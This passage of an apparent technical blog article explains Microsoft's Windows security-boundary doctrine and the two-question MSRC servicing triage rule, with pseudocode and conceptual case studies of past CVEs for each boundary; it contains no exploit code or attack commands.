&lt;p&gt;&lt;strong&gt;Administrator-to-kernel privilege escalation.&lt;/strong&gt; Local administrator can, by design, load drivers; see Section 8.6. Gabriel Landau named his False File Immutability research repository &lt;em&gt;ItsNotASecurityBoundary&lt;/em&gt; as an explicit homage to MSRC&apos;s policy [@landau-itsnotasb-gh]; Alon Leviev&apos;s October 2024 Downdate follow-up contains the most recent verbatim Microsoft quotation of this position (see Section 8.6) [@leviev-downdate-update].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Same-user post-authentication.&lt;/strong&gt; Once a process has executed under a user&apos;s session, it inherits that user&apos;s trust; per-process isolation within the same user is not a declared boundary. James Forshaw&apos;s June 3, 2024 &lt;em&gt;Working your way Around an ACL&lt;/em&gt; post is the doctrinal anchor (see Section 8.7 for the verbatim formulation) [@forshaw-tyranid-acl].&lt;/p&gt;
&lt;p&gt;Here are the two tables side by side.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;The boundary table (nine entries)&lt;/th&gt;
&lt;th&gt;What enforces it&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Network&lt;/td&gt;
&lt;td&gt;NDIS/TCP-IP/SMB/RPC stack; remote callers are the lowest trust tier&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kernel&lt;/td&gt;
&lt;td&gt;SYSCALL/SYSRET transition, syscall service table, Driver Verifier, HVCI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Process&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SeAccessCheck&lt;/code&gt; on &lt;code&gt;PROCESS_VM_READ&lt;/code&gt;, &lt;code&gt;PROCESS_VM_WRITE&lt;/code&gt;, &lt;code&gt;NtDuplicateObject&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Session&lt;/td&gt;
&lt;td&gt;Session 0 vs Session 1+; per-session &lt;code&gt;BaseNamedObjects&lt;/code&gt; namespace isolation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User&lt;/td&gt;
&lt;td&gt;Per-user SIDs in SAM, file-system DACL inheritance, per-user &lt;code&gt;HKCU&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AppContainer&lt;/td&gt;
&lt;td&gt;LowBox token + capability SID list + DENY-by-default ACLs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Virtual machine (guest-to-host)&lt;/td&gt;
&lt;td&gt;Hyper-V root partition, VMBus, synthetic device model&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VTL (VTL0 to VTL1)&lt;/td&gt;
&lt;td&gt;Hypervisor-enforced SLAT (Intel EPT / AMD NPT); VSL hypercalls as the only cross-VTL channel&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Administrator Protection elevation path (2025)&lt;/td&gt;
&lt;td&gt;SMAA with separate SID, profile, logon session; Windows Hello consent&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;The not-a-boundary table (seven entries)&lt;/th&gt;
&lt;th&gt;Why it is a feature, not a boundary&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;UAC&lt;/td&gt;
&lt;td&gt;Split token shares SID, profile, session, namespace; no policy guarantee&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Driver Signing / Code Integrity / KMCS&lt;/td&gt;
&lt;td&gt;Administrators can install drivers by design&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft Defender / Antimalware&lt;/td&gt;
&lt;td&gt;Heuristic detection cannot guarantee detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HVCI / Memory Integrity&lt;/td&gt;
&lt;td&gt;A feature enforced &lt;em&gt;at&lt;/em&gt; the VTL boundary, not itself a boundary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Protected Process Light (PPL)&lt;/td&gt;
&lt;td&gt;Hardened against admin tampering, not policy-guaranteed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Administrator-to-kernel privilege escalation&lt;/td&gt;
&lt;td&gt;Admin loads drivers; drivers run in kernel; structural&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Same-user post-authentication&lt;/td&gt;
&lt;td&gt;One user, one trust scope; per-process isolation not declared&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The not-a-boundary table is the doctrine &lt;em&gt;learning&lt;/em&gt;. Each new entry is a primitive an attacker class repeatedly tried to treat as a boundary, and Microsoft explicitly classified as a feature so the operational question -- &lt;em&gt;does this report receive a CVE?&lt;/em&gt; -- has a stable answer.&lt;/p&gt;
&lt;p&gt;Two tables. Sixteen total entries. One operational question per report. But how does Microsoft actually apply this -- and why is the application &lt;em&gt;correct&lt;/em&gt;, not a cop-out?&lt;/p&gt;
&lt;h2&gt;6. The Two-Question Triage Rule&lt;/h2&gt;
&lt;p&gt;Here is the load-bearing engineering decision of the entire document: the classification question is &lt;em&gt;decoupled&lt;/em&gt; from the severity question. Microsoft does not ask &quot;is this report important enough to fix&quot; as a single judgment call. It asks two separate questions, and both have to be answered yes.&lt;/p&gt;
&lt;p&gt;The MSRC servicing-criteria page states the rule verbatim:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;The criteria used by Microsoft when evaluating whether to provide a security update or guidance for a reported vulnerability involves answering two key questions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Does the vulnerability violate the goal or intent of a security boundary or a security feature?&lt;/li&gt;
&lt;li&gt;Does the severity of the vulnerability meet the bar for servicing?&quot; [@msrc-criteria]&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;The second question is parameterised by a separate document, the &lt;em&gt;Microsoft Vulnerability Severity Classification for Windows&lt;/em&gt;, often called the &lt;em&gt;Windows Bug Bar&lt;/em&gt; [@msrc-bugbar]. The Bug Bar defines four severity levels -- Critical, Important, Moderate, Low -- with worked examples for each vulnerability type (remote code execution, elevation of privilege, information disclosure, denial of service, spoofing, tampering). It also pivots between server and client severity. A bug that earns Critical on a server can earn Important on a client, and the disposition can change accordingly.&lt;/p&gt;
&lt;p&gt;The first question answers the &lt;em&gt;eligible-by-doctrine&lt;/em&gt; half. A boundary crossing is in scope. A feature defeat is &lt;em&gt;also&lt;/em&gt; in scope -- Microsoft does service security features when the severity bar is met, but the path is different. The second question answers &lt;em&gt;severity-meets-bar&lt;/em&gt;. Critical and Important on the Bug Bar route to a security update via Patch Tuesday (or out-of-band when the impact warrants it). Moderate and Low route to &quot;consider for the next version or release of Windows.&quot;&lt;/p&gt;
&lt;p&gt;The doctrine has an explicit relief valve.&lt;/p&gt;

If the answer to both questions is yes, then Microsoft&apos;s intent is to address the vulnerability through a security update and/or guidance ... If the answer to either question is no, then by default the vulnerability will be considered for the next version or release of Windows but will not be addressed through a security update or guidance, though exceptions may be made. -- Microsoft Security Servicing Criteria for Windows [@msrc-criteria]
&lt;p&gt;Notice the work the &lt;em&gt;and&lt;/em&gt; is doing. Two independent gates, both required. A feature defeat with Critical impact (for example, a Defender bypass that enables ransomware deployment at scale) &lt;em&gt;can&lt;/em&gt; still ship as a Patch Tuesday item -- but it does so via the second question, with the explicit exception clause as the framing. A boundary crossing with Low severity (a process-isolation primitive bypass that requires preconditions no realistic attacker would arrange) might &lt;em&gt;not&lt;/em&gt; ship as a bulletin.&lt;/p&gt;

flowchart TD
    Report[&quot;Vulnerability report arrives at MSRC&quot;]
    Q1{&quot;Q1: Does it violate a boundary or feature?&quot;}
    Q2{&quot;Q2: Does severity meet the bar (Critical or Important)?&quot;}
    Excp{&quot;Exception applies?&quot;}
    Service[&quot;Service via security update / Patch Tuesday&quot;]
    Defer[&quot;By design / consider for next release&quot;]
    Report --&amp;gt; Q1
    Q1 -- &quot;No&quot; --&amp;gt; Excp
    Q1 -- &quot;Yes&quot; --&amp;gt; Q2
    Q2 -- &quot;Yes&quot; --&amp;gt; Service
    Q2 -- &quot;No&quot; --&amp;gt; Excp
    Excp -- &quot;Yes&quot; --&amp;gt; Service
    Excp -- &quot;No&quot; --&amp;gt; Defer
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Classification and severity are decoupled. The &lt;em&gt;and&lt;/em&gt; of the two questions is the doctrine. Every &quot;by design&quot; reply the community has ever received is generated by this exact rule, applied with the published boundary list, the published feature list, the published severity bar, and the published exception clause.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The rule, restated as runnable pseudocode, looks like this. Try the three example inputs to see the doctrine in action.&lt;/p&gt;
&lt;p&gt;{`
// The MSRC servicing-criteria triage, in pseudocode.
const BOUNDARIES = new Set([
  &quot;network&quot;, &quot;kernel&quot;, &quot;process&quot;, &quot;session&quot;, &quot;user&quot;,
  &quot;appcontainer&quot;, &quot;vm&quot;, &quot;vtl&quot;, &quot;administrator-protection&quot;,
]);
const FEATURES = new Set([
  &quot;uac&quot;, &quot;defender&quot;, &quot;hvci&quot;, &quot;driver-signing&quot;,
  &quot;ppl&quot;, &quot;admin-to-kernel&quot;, &quot;same-user&quot;,
]);&lt;/p&gt;
&lt;p&gt;function disposition(report) {
  const { primitive, severity, exception } = report;
  const isBoundary = BOUNDARIES.has(primitive);
  const isFeature  = FEATURES.has(primitive);
  const violatedSomething = isBoundary || isFeature;
  const meetsBar = (severity === &quot;Critical&quot; || severity === &quot;Important&quot;);
  if (violatedSomething &amp;amp;&amp;amp; meetsBar) return &quot;Service via security update&quot;;
  if (exception)                     return &quot;Service via security update (exception)&quot;;
  return &quot;By design / consider for next version&quot;;
}&lt;/p&gt;
&lt;p&gt;// Example 1: a fresh UAC bypass (consent.exe registry hijack)
console.log(&quot;UAC bypass    -&amp;gt;&quot;,
  disposition({ primitive: &quot;uac&quot;, severity: &quot;Important&quot; }));&lt;/p&gt;
&lt;p&gt;// Example 2: a pre-auth SMB RCE like CVE-2017-0144 EternalBlue
console.log(&quot;SMB pre-auth  -&amp;gt;&quot;,
  disposition({ primitive: &quot;network&quot;, severity: &quot;Critical&quot; }));&lt;/p&gt;
&lt;p&gt;// Example 3: a PPLFault-class bypass loading unsigned code into a PPL
console.log(&quot;PPLFault      -&amp;gt;&quot;,
  disposition({ primitive: &quot;ppl&quot;, severity: &quot;Important&quot; }));
`}&lt;/p&gt;
&lt;p&gt;Run it. The UAC bypass returns &quot;Service via security update&quot; only because UAC is on the &lt;em&gt;feature&lt;/em&gt; table -- so the first question is yes (a feature defeat) and the second question is yes (Important severity) -- and &lt;em&gt;both&lt;/em&gt; questions matter. If you change the severity to Moderate the disposition flips to &quot;by design / consider for next version.&quot; If you change the primitive to one that is not on either table, the disposition again becomes &quot;by design&quot; unless the exception clause fires.&lt;/p&gt;
&lt;p&gt;That is the entire MSRC triage rule. Nine boundary entries, seven feature entries, one severity scheme, one exception clause. Every &quot;by design&quot; reply the community has ever received is generated by this exact rule.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A single-question rule would collapse the doctrine. &quot;Is this report important enough to fix&quot; without a published classification turns every disposition into MSRC engineers&apos; personal judgment. &quot;Is this a boundary crossing&quot; without a severity gate would force Microsoft to ship a Patch Tuesday bulletin for every low-impact boundary-adjacent finding, including the ones with no realistic attack path. Decoupling lets Microsoft commit to a published taxonomy on the first question while retaining engineering judgment on the second, with the exception clause as the explicit relief valve in either direction.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;With the rule in hand, the next three sections walk the parameters of the rule -- the nine boundary entries, the seven feature entries, and the bounty schedule that mechanically follows both -- at one consistent pedagogical depth per entry.&lt;/p&gt;
&lt;h2&gt;7. The Nine Boundaries, Walked&lt;/h2&gt;
&lt;p&gt;One subsection per boundary. Each follows the same template: the architectural primitive that enforces the boundary, the canonical CVE-eligible violation pattern, and one verified historical case study.&lt;/p&gt;
&lt;h3&gt;7.1 Network boundary&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Primitive.&lt;/strong&gt; The NDIS / TCP-IP / SMB / RPC / HTTP server stacks treat remote callers as the lowest trust tier. Any code that processes attacker-influenced bytes off the wire before authenticating the caller sits at this boundary.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Violation.&lt;/strong&gt; Pre-authentication remote code execution. A remote attacker reaches &lt;code&gt;SYSTEM&lt;/code&gt; (or any local code execution) without first satisfying an authentication primitive.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Case study.&lt;/strong&gt; EternalBlue, CVE-2017-0144, MS17-010. The SMBv1 server in Windows Vista SP2 through Windows 10 1607 accepted crafted packets that triggered a memory-corruption primitive in the kernel-mode driver, yielding pre-authentication remote code execution [@nvd-2017-0144]. NSA-developed; Shadow Brokers-leaked; weaponised within weeks by WannaCry and NotPetya. Critical severity, mandatory patch, the canonical network-boundary case in the entire taxonomy. SMBGhost (CVE-2020-0796) [@nvd-2020-0796] and PrintNightmare (CVE-2021-34527) [@nvd-2021-34527] are the supporting cases. PrintNightmare is particularly instructive because it crosses &lt;em&gt;two&lt;/em&gt; boundaries simultaneously -- remote code execution via a malicious shared printer driver (network) &lt;em&gt;and&lt;/em&gt; local privilege escalation via the same primitive on the spooler service (kernel).&lt;/p&gt;
&lt;h3&gt;7.2 Kernel boundary&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Primitive.&lt;/strong&gt; The user-mode-to-kernel-mode transition is enforced by the CPU&apos;s privilege rings and the SYSCALL/SYSRET instruction pair. The syscall service table is the only legal way to enter the kernel. Driver Verifier and HVCI run on top of this transition.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Violation.&lt;/strong&gt; User-mode code achieves kernel-mode code execution without using the legitimate syscall interface, typically by exploiting a memory-safety bug in a kernel driver that the user-mode caller can reach.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Case study.&lt;/strong&gt; CVE-2014-4113, the Win32k.sys &lt;code&gt;tagWND&lt;/code&gt; elevation-of-privilege bug, exploited in the wild in October 2014.The Win32k subsystem is a recurring source of kernel-boundary findings because it processes window-manager state from user mode in kernel context, an architectural choice that predates the boundary doctrine. MS14-058 / KB3000061 was the Patch Tuesday fix on October 14, 2014 [@ms-bulletin-ms14-058]. The bug allowed a local user to run arbitrary code in kernel mode by crafting calls to the kernel-mode portion of the Win32 subsystem [@nvd-2014-4113]. Important severity; canonical kernel-boundary case; the kind of finding the doctrine was built to service cleanly.&lt;/p&gt;

*`SeAccessCheck`* is the Windows kernel&apos;s reference-monitor function that decides whether a thread holding a specific access token may perform a requested access against a securable object. It takes the object&apos;s security descriptor, the requesting token, and the desired access mask; it returns granted access or `STATUS_ACCESS_DENIED`. Every cross-process memory access, every securable kernel-object open, and every registry-key access ultimately routes through this function. It is the architectural enforcement point for both the process boundary and the user boundary.
&lt;h3&gt;7.3 Process boundary&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Primitive.&lt;/strong&gt; &lt;code&gt;SeAccessCheck&lt;/code&gt; mediates &lt;code&gt;PROCESS_VM_READ&lt;/code&gt;, &lt;code&gt;PROCESS_VM_WRITE&lt;/code&gt;, &lt;code&gt;PROCESS_DUP_HANDLE&lt;/code&gt;, and the access mask passed to &lt;code&gt;NtOpenProcess&lt;/code&gt; [@ms-learn-process-access-rights]. A process cannot read another process&apos;s memory without holding a token that grants the requested access against the target&apos;s security descriptor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Violation.&lt;/strong&gt; One process reads or writes another process&apos;s address space without having been granted permission.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Case study.&lt;/strong&gt; Thread injection canon: &lt;code&gt;CreateRemoteThread&lt;/code&gt;, &lt;code&gt;SetWindowsHookEx&lt;/code&gt;, &lt;code&gt;NtMapViewOfSection&lt;/code&gt;. Each violation routes through a documented OS primitive that Microsoft has hardened repeatedly. The hardening culminated in the &lt;a href=&quot;https://paragmali.com/blog/protected-process-light-when-the-administrator-isnt-enough/&quot; rel=&quot;noopener&quot;&gt;Protected Process Light&lt;/a&gt; (PPL) signer-hierarchy enforcement introduced in Windows 8.1, which lets specially-signed processes refuse code injection even from administrator processes [@ms-learn-am-ppl]. PPL itself is on the feature side of the doctrine -- &lt;em&gt;the&lt;/em&gt; canonical example of how the process boundary and PPL interact is the AM-PPL extension that anti-malware vendors use to protect their services from administrator-level interference, which Landau&apos;s research has explored at length [@landau-pplfault].The access-mask argument to &lt;code&gt;NtOpenProcess&lt;/code&gt; is the load-bearing enforcement point. A thread that opens a target process with &lt;code&gt;PROCESS_VM_READ&lt;/code&gt; and then calls &lt;code&gt;ReadProcessMemory&lt;/code&gt; is exercising an &lt;em&gt;audited&lt;/em&gt; boundary crossing; a thread that obtains the target&apos;s handle through a more circuitous route (handle duplication, named-object games) still routes through &lt;code&gt;SeAccessCheck&lt;/code&gt; somewhere. The taxonomy is what gives the audit something to anchor against.&lt;/p&gt;
&lt;h3&gt;7.4 Session boundary&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Primitive.&lt;/strong&gt; Session 0 (system services) is isolated from interactive user sessions (Session 1, Session 2, and so on). Each session has its own &lt;code&gt;\Sessions\&amp;lt;id&amp;gt;\BaseNamedObjects&lt;/code&gt; namespace, its own window station, and its own desktop [@ms-learn-kernel-object-namespaces]. Services that previously ran in the interactive session of the first logged-in user now run in Session 0 with no GUI.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Violation.&lt;/strong&gt; A low-privilege interactive process sends window messages to a &lt;code&gt;SYSTEM&lt;/code&gt;-level service on the same desktop, driving the service&apos;s UI into executing attacker-controlled code paths.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Case study.&lt;/strong&gt; The August 2002 Shatter class, generalised by Brett Moore in &lt;em&gt;Shattering By Example&lt;/em&gt; (2003) [@exploit-db-21691]. Microsoft&apos;s architectural response shipped with Windows Vista: Session 0 isolation. Services were moved to Session 0 with no interactive desktop; user applications run in Session 1 and higher. The Microsoft Learn &lt;em&gt;Interactive Services&lt;/em&gt; page records the engineering decision verbatim: &lt;em&gt;&quot;Services cannot directly interact with a user as of Windows Vista. Therefore, the techniques mentioned in the section titled Using an Interactive Service should not be used in new code&quot;&lt;/em&gt; [@ms-learn-interactive-services].&lt;/p&gt;
&lt;h3&gt;7.5 User boundary&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Primitive.&lt;/strong&gt; Per-user SIDs in the SAM database (or the domain database for joined hosts), file-system DACL inheritance, per-user &lt;code&gt;HKCU&lt;/code&gt; registry hives, the user profile directory, and the access token that travels with every thread [@ms-learn-access-tokens]. A process running as one user cannot access objects owned by another user unless the DACL explicitly permits it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Violation.&lt;/strong&gt; One user&apos;s process reads another user&apos;s data without permission. Classic targets: &lt;code&gt;NTUSER.DAT&lt;/code&gt; of another logged-on user, the other user&apos;s &lt;code&gt;%USERPROFILE%&lt;/code&gt;, the other user&apos;s tokens via &lt;code&gt;NtOpenProcess&lt;/code&gt; or &lt;code&gt;NtOpenProcessToken&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Case study.&lt;/strong&gt; The user boundary is the &lt;em&gt;example&lt;/em&gt; Russinovich uses in his June 2007 article when contrasting boundaries with conveniences [@russinovich-vista-uac-wayback]. User-to-user separation is the canonical &quot;yes, this is a boundary&quot; case in the entire taxonomy; the closest &lt;em&gt;same-user&lt;/em&gt; counter-example -- Forshaw&apos;s June 2024 Recall ACL post -- explicitly notes that &lt;em&gt;user-to-user&lt;/em&gt; would be a boundary, but &lt;em&gt;same-user&lt;/em&gt; per-process isolation is not [@forshaw-tyranid-acl]. The boundary granularity matters: the same primitive class can be a boundary at one granularity and a non-boundary at a finer granularity.&lt;/p&gt;

This is the cleanest illustration of how granularity drives classification. *User to user* is a boundary -- Alice&apos;s process cannot read Bob&apos;s data without explicit permission. *Same user, process to process* is not a boundary -- Alice&apos;s text editor, Alice&apos;s browser, and Alice&apos;s media player all run with Alice&apos;s identity and any one of them can read the others&apos; resources. PPL adds a feature-class barrier within the same user, but Microsoft has explicitly classified PPL as not a boundary [@landau-pplfault]. The taxonomy is consistent: the same primitive (the access token) can guarantee separation across user identities and *not* guarantee separation between two processes that share an identity.
&lt;h3&gt;7.6 AppContainer / sandbox boundary&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Primitive.&lt;/strong&gt; A &lt;a href=&quot;https://paragmali.com/blog/appcontainer-and-lowbox-tokens-windowss-capability-sandbox/&quot; rel=&quot;noopener&quot;&gt;LowBox token&lt;/a&gt; with a capability SID list; default-DENY ACLs against any object that has not explicitly granted the relevant capability; restricted access to the file system, the registry, named objects, and the network stack. AppContainer is built on top of the Mandatory Integrity Control mechanism but is strictly more restrictive than a Low IL token.&lt;/p&gt;

*MIC* is the Windows mechanism that assigns each securable object and each access token an integrity level: Untrusted, Low, Medium (the default for standard users), High (the default for administrators), and System. The access-check rules state that a lower-integrity subject cannot write to a higher-integrity object, regardless of DACL permissions. Introduced in Vista alongside UIPI, MIC underpins both the AppContainer boundary and the UAC feature.
&lt;p&gt;&lt;strong&gt;Violation.&lt;/strong&gt; A LowBox or AppContainer process escapes its capability list to perform operations the container was supposed to deny.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Case study.&lt;/strong&gt; Edge sandbox escape canon, from the Anniversary Update (Windows 10 1607, August 2016) forward. AppContainer as a mechanism predates 1607 (it shipped in Windows 8 alongside the Modern UI app model, where it was originally named &lt;em&gt;LowBox&lt;/em&gt;) [@ms-learn-appcontainer-legacy], but the Edge sandbox is the flagship demonstration that AppContainer can serve as a browser-grade sandbox boundary. Edge sandbox escapes route through MSRC as boundary violations and earn the Microsoft Edge Bounty Program payouts [@msrc-bounty-edge].&lt;/p&gt;
&lt;h3&gt;7.7 Virtual machine (guest-to-host) boundary&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Primitive.&lt;/strong&gt; Hyper-V&apos;s root partition versus L1 guest partitions, the &lt;a href=&quot;https://paragmali.com/blog/hyper-v-enlightenments-vmbus-and-the-synthetic-device-model/&quot; rel=&quot;noopener&quot;&gt;VMBus&lt;/a&gt; inter-partition channel, the synthetic device model, the virtualization-service-provider (VSP) and virtualization-service-client (VSC) split. A guest VM communicates with the host only via VMBus, and only through the synthetic devices the host exposes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Violation.&lt;/strong&gt; A guest VM achieves code execution on the host (or in a sibling guest).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Case study.&lt;/strong&gt; CVE-2024-21407, a use-after-free in a Hyper-V root-partition component reachable from a guest VM (the MSRC advisory does not name the component), shipped as a Critical-severity Patch Tuesday item on March 12, 2024 [@nvd-2024-21407]. The guest-to-host class pays the highest bounty in the Microsoft Bounty Programs portfolio.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The Microsoft Hyper-V Bounty Program pays $5,000 to $250,000 USD for guest-to-host escape vulnerabilities [@msrc-bounty-hyperv]. That is the highest single-finding payout in the Microsoft bounty catalogue [@msrc-bounty-root], and it maps directly to the VM boundary on the servicing-criteria table. The bounty schedule is one of the cleanest market-side confirmations available that the boundary list drives every other operational artifact: the boundary that protects the most consequential trust separation (cloud tenant from cloud tenant on shared hypervisor hardware) also pays the most.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;7.8 VTL (VTL0 to VTL1) boundary&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Primitive.&lt;/strong&gt; Hypervisor-enforced second-level address translation (SLAT, implemented as Intel EPT or AMD NPT) separates the address spaces of VTL0 (the normal kernel and user mode) and VTL1 (the Secure Kernel and Isolated User Mode). The hypervisor mediates every cross-VTL access. The only documented cross-VTL channel is the Virtual Secure Mode hypercall pair (&lt;code&gt;HvCallVtlCall&lt;/code&gt; and &lt;code&gt;HvCallVtlReturn&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Violation.&lt;/strong&gt; A VTL0 attacker observes or modifies VTL1 memory or Trustlet state.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Case study.&lt;/strong&gt; &lt;a href=&quot;https://paragmali.com/blog/the-empty-hash-credential-guard-the-lsaiso-trustlet-and-the-/&quot; rel=&quot;noopener&quot;&gt;Credential Guard&lt;/a&gt; / Isolated LSA is the canonical VTL1 success story. The LSA Trustlet (LsaIso) holds the credential material Credential Guard protects; even an &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;-class attacker in VTL0 cannot read those credentials because the relevant pages are not mapped into the VTL0 kernel&apos;s address space at all [@ms-learn-vbs-ci]. The doctrine has a row that says so, and the bounty schedule pays Critical-class amounts under the Windows Insider Preview Bounty Program for VTL violations.&lt;/p&gt;

*Virtual Trust Levels* are the hypervisor-enforced trust tiers Hyper-V introduces inside a single guest partition [@ms-learn-vbs-ci]. VTL0 is the &quot;normal&quot; Windows world: the regular kernel, regular drivers, and regular user-mode processes. VTL1 is the secure world: the Secure Kernel and Isolated User Mode (IUM), where Trustlets like LsaIso run. The hypervisor&apos;s SLAT tables enforce the separation: VTL0 page-table entries that would let the normal kernel read VTL1 memory simply fail the SLAT check at hardware-page-fault granularity. The only cross-VTL channel is the VSL hypercall pair. The VTL boundary is the strongest local boundary on Windows.
&lt;h3&gt;7.9 Administrator Protection elevation path (2025 addition)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Primitive.&lt;/strong&gt; The System Managed Administrator Account (SMAA) sits in the SAM database with its own SID, profile, and home directory. The &lt;code&gt;appinfo.dll&lt;/code&gt; consent service authorises SMAA-scoped elevation via Windows Hello. When a user requests an elevation, &lt;code&gt;appinfo.dll&lt;/code&gt; walks the Windows Hello flow, the SMAA token is created in a fresh logon session, the elevated process runs, and the token is destroyed when the process exits [@ms-learn-admin-protection].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Violation.&lt;/strong&gt; A standard-user process obtains the SMAA&apos;s elevated token without Windows Hello consent, typically by exploiting a primitive in the elevation path that lets the attacker substitute their own controlled object for one the SMAA elevation flow expects to create.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Case study.&lt;/strong&gt; James Forshaw&apos;s January 2026 nine pre-GA Administrator Protection bypass series, disclosed via the Project Zero issue tracker [@pz-tracker-432313668]. The canonical illustration is the &quot;lazy DOS device directory hijack&quot; (Project Zero issue 432313668): DOS device object directories are created on demand for each logon session rather than at session creation time, and an attacker can race the SMAA elevation flow to create the directory first, with attacker-controlled permissions. Microsoft fixed all nine pre-GA -- not &quot;by design&quot;-replied. The boundary classification is operationally enforced.&lt;/p&gt;

flowchart TB
    subgraph Network[&quot;Network boundary&quot;]
        Remote[&quot;Remote / unauthenticated attacker&quot;]
    end
    subgraph Hypervisor[&quot;Hyper-V root partition&quot;]
        subgraph Guest[&quot;L1 guest VM&quot;]
            subgraph VTL0[&quot;VTL0 (normal kernel)&quot;]
                Kernel[&quot;Kernel mode&quot;]
                subgraph Session1[&quot;Session 1+ interactive&quot;]
                    subgraph User[&quot;Per-user identity&quot;]
                        ProcA[&quot;Process A&quot;]
                        ProcB[&quot;Process B&quot;]
                        subgraph AppC[&quot;AppContainer / LowBox&quot;]
                            Sandbox[&quot;Sandboxed renderer&quot;]
                        end
                    end
                end
                subgraph Session0[&quot;Session 0 services&quot;]
                    Svc[&quot;SYSTEM services&quot;]
                end
                subgraph AP[&quot;Administrator Protection elevation path&quot;]
                    SMAA[&quot;SMAA token&quot;]
                end
            end
            subgraph VTL1[&quot;VTL1 (Secure Kernel + IUM)&quot;]
                Trustlet[&quot;LsaIso Trustlet&quot;]
            end
        end
    end
    Remote -.-&amp;gt;|&quot;Network boundary&quot;| Kernel
    ProcA -.-&amp;gt;|&quot;Process boundary&quot;| ProcB
    Session1 -.-&amp;gt;|&quot;Session boundary&quot;| Session0
    Sandbox -.-&amp;gt;|&quot;AppContainer boundary&quot;| ProcA
    Kernel -.-&amp;gt;|&quot;VTL boundary&quot;| Trustlet
    ProcA -.-&amp;gt;|&quot;Administrator Protection boundary&quot;| SMAA
&lt;p&gt;Nine boundaries. Every one of them backed by a real architectural primitive, every one of them carrying a documented violation history. But the doctrine is only half a table. The other half is the table of primitives Microsoft has &lt;em&gt;explicitly&lt;/em&gt; chosen not to commit to.&lt;/p&gt;
&lt;h2&gt;8. What Is Not a Boundary&lt;/h2&gt;
&lt;p&gt;For every primitive on the boundary list, there is a primitive Microsoft has named in the same document and chosen &lt;em&gt;not&lt;/em&gt; to commit to. The seven entries, with the structural reason for each classification.&lt;/p&gt;
&lt;h3&gt;8.1 UAC&lt;/h3&gt;
